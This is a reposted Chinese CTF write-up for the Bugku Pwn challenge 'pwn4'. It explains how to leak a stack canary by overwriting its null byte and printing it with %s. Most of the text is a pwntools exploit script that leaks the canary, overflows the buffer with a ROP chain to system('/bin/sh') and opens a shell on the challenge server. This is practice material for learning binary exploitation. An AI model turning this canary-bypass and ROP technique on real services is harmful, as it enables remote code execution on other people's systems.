[Bugku CTF——Pwn] pwn4
生活随笔
收集整理的這篇文章主要介紹了
[Bugku CTF——Pwn] pwn4
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[Bugku CTF——Pwn] pwn4
- 題目地址:https://ctf.bugku.com/
給的提示很清楚,繞過canary保護
那就繞過就好
題目當中有system函數
利用ROPgadget就好
思路
將canary低位的 ‘\x00’ 給覆蓋掉, 就可以利用 %s 將其輸出, leek出來
exploit
from pwn import * #p = process('./pwn4_') p = remote('114.67.246.176',15541) pop_rdi = 0x0000000000400963 binsh = 0x0000000000601068 sys = 0x000000000040080C payload = 'a' * (0x240 - 8) p.sendlineafter('Please leave your name(Within 36 Length):', payload) p.recvline() canary = p.recv(7).rjust(8, '\x00') #log.success('canary ---> : ' + canary) print canary payload1 = 'a' * (0x210 - 8) + canary + 'junkjunk' + p64(pop_rdi) + p64(binsh) + p64(sys) p.sendafter('Please leave a message(Within 0x200 Length):' , payload1) p.interactive()總結
以上是生活随笔為你收集整理的[Bugku CTF——Pwn] pwn4的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [Bugku CTF——Pwn] pwn
- 下一篇: [Bugku CTF——Pwn] pwn